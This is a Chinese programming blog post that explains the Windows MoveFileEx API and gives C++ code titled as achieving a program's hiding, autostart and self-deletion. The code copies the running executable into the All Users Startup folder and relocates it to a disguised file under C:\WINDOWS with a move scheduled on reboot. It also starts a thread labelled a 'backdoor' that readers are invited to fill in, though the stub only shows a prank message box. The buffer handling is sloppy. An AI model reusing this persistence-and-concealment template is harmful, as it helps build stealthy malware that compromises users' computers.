`

利用MoveFileEx实现程序的隐藏、自启动与自删除

    博客分类:
  • VC
阅读更多

利用MoveFileEx实现程序的隐藏、自启动与自删除


一、了解MoveFileEx

MoveFileEx是MoveFile函数的扩展函数,也是用来移动文件,不过多加了一些功能。MoveFileEx函数的原型如下:

BOOL MoveFileEx (

LPCTSTR lpExistingFileName, LPCTSTR lpNewFileName,   DWORD dwFlags );

第一个参数是要移动的文件名,第二个是移动后的文件名,最后一个参数决定了移动的方式。

仔细看最后一个参数可取的值,其中一项为MOVEFILE_DELAY_UNTIL_REBOOT ,MSDN中对此标记描述如下:

The function does not move the file until the operating system is restarted. The system moves the file immediately after AUTOCHK is executed, but before creating any paging files. Consequently, this parameter enables the function to delete paging files from previous startups. 

This flag can only be used if the process is in the context of a user who belongs to the administrator group or the LocalSystem account. 

This flag cannot be used with the MOVEFILE_COPY_ALLOWED flag.

当dwFlags被设为MOVEFILE_DELAY_UNTIL_REBOOT时,函数直到系统重启后才移动文件。注意文件的移动是发生在 AUTOCHK执行之后,在页面文件创建之前。而此时用户还没有完全的进入操作系统,所以可以应用这点删除那些正常情况下很难删除的文件甚至是页面文件。

lpNewFileName为NULL时,MovefileEx实现的就是删除的功能。很多杀毒软件和一些恶意程序删除工具就是利用了 MoveFileEx函数的这个特性来实现的重启后删除病毒。

MOVEFILE_DELAY_UNTIL_REBOOT标记使用时需要具有管理员或者LocalSystem用户的进程上下文。

MOVEFILE_DELAY_UNTIL_REBOOT标记不能和MOVEFILE_COPY_ALLOWED标记一同使用。因为在不同的卷下实现不了 真正的移动,MOVEFILE_COPY_ALLOWED标记使用的时候,函数通过模拟CopyFile 和 DeleteFile 两个函数实现移动。正在运行的程序不能移动到不同的卷(分区)下,这时只实现了Copyfile,下一步DeleteFile没有成功,正在运行的程序是 不能删除的。

当dwFlags参数被设置为MOVEFILE_DELAY_UNTIL_REBOOT时,MoveFileEx把重启后移动的文件和要移到的文件的位置 存在下面的多字符注册表值(REG_MULTI_SZ)里:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet \Control\Session\Manager\PendingFileRenameOperations。


#include "stdafx.h"
#include <stdio.h>
#pragma comment(linker,"/SUBSYSTEM:WINDOWS")

DWORD WINAPI StartShell(LPVOID lpParam);

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

    char szPath[100]={0};
    ::GetSystemDirectory(szPath,MAX_PATH);
    char    szDst[100]={0};
    for (int i=0; i<3;i++)
        szDst[i]=szPath[i];
    strcat(szDst,"Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\mao.exe");


    TCHAR szTmp[MAX_PATH]={0};
    if(!GetModuleFileName(NULL,szTmp,sizeof(szTmp)))
    {
        
        return 0;
    }
    int r;  
    r=strcmp(szTmp,szDst);
    if(!r)
    {
        goto stop;
    }
        
    if(!CopyFile(szTmp,szDst,FALSE))
    {
        return 0;
    }


stop:
    
    //printf("\n\t 现在的目录是%s\n",szDst);

    //得到当前程序名
    TCHAR szCurPath[MAX_PATH];
    memset(szCurPath,   0,   MAX_PATH);  
    GetModuleFileName(NULL,   szCurPath,   sizeof(szCurPath)/sizeof(TCHAR));

    if (!(MoveFileEx(szCurPath,"c:\\WINDOWS\\FK.BAK",MOVEFILE_REPLACE_EXISTING |MOVEFILE_COPY_ALLOWED)))//若是要在不同的volume下移动文件,需要此项 COPY_ALLOWED

        ::MessageBox(NULL,"第一次移动文件失败","test",MB_OK);   

        if(!::MoveFileEx("c:\\WINDOWS\\FK.BAK",szDst,MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING))
        {
            ::MessageBox(NULL,"移动文件失败","test",MB_OK);   
        }
        else printf("任务完成\n");
        /*system("pause");*/
   

        //创建并等待线程
        //StartShell 为后门线程函数,大家可以自己实现相应的功能
        HANDLE hthread=::CreateThread(NULL,NULL,StartShell,NULL,NULL,NULL);
        ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
        CloseHandle(hthread);
        ::WaitForSingleObject(hthread,INFINITE);
   
        return 0;
}

DWORD WINAPI StartShell(LPVOID lpParam)
{
  ::MessageBox(NULL,"哈哈 恶搞一下","test",MB_OK);
  return 0;
}
 
分享到:
评论

相关推荐

    精选_使用MoveFileEx函数实现重启删除文件_源码打包

    使用MoveFileEx函数实现重启删除文件

    易语言删除运行中的程序

    易语言删除运行中的程序源码,删除运行中的程序,MoveFileEx,GetTempPath,GetTempFileName

    Delphi moveFileEx文件移动示例.rar

     begin moveFileEx(pchar(OpenDialog1.FileName),pchar('C:\' extractfilename(opendialog1.FileName)),MOVEFILE_COPY_ALLOWED);  showmessage('文件已移动到C盘跟目录下');  end  else  showmessage('无法复制...

    pendmove系统文件更名及删除工具

    因此,Windows 提供了 MoveFileEx API 来重命名或删除文件,并允许调用方指定让此操作在下一次系统启动时在引用该文件之前执行。会话管理器会从 HKLM\System\CurrentControlSet\Control\Session Manager\...

    易语言快捷方式启动

    创建快捷方式,取启动目录,SHGetSpecialFolderLocation,SHGetPathFromIDListA,MoveFileExA, ======窗口程序集1 || ||------_MoveFileEx || ||------创建快捷方式 || ||------取启动目录

    易语言1214源码,易语言UP0103源码,易语言服务端源码,易语言MSSQL

    易语言MSSQL应用实例源码,MSSQL应用实例,打印预览报表,读取组合框列表,查询,添加到列表,添加字段,查询是否存在,修改记录,删除记录,MoveFileEx,SkinH_DetachEx,SkinH_SetAero,SkinH_Attach,DLL命令1,替换新版,交互回...

    易语言更新替换自身

    易语言更新替换自身源码,更新替换自身,查找更新,下载更新,进度显示,断点进度下载,创建多级目录,更新文件,取文件后缀,取文件前缀,MoveFileEx,SkinH_SetAero,SkinH_Attach,SkinH_DetachEx,InternetGetConnectedState,...

    易语言随机取进程名模块

    易语言随机取进程名模块源码,随机取进程名模块,随机进程名,Yhan_Run,CallRemoteFunction,CreateProcessThread,MakeCallCode,GetBinPtr,GetAddress,取随机文件名,取短路径,进程名取PID,MoveFileEx,GetShortPathName,...

    Utilities for Windows NT 源码

    This is nothing more than a command line interface to the MoveFileEx() API call with a flag that delays the move until the next reboot. More information can be found in the README file. Binary for ...

Global site tag (gtag.js) - Google Analytics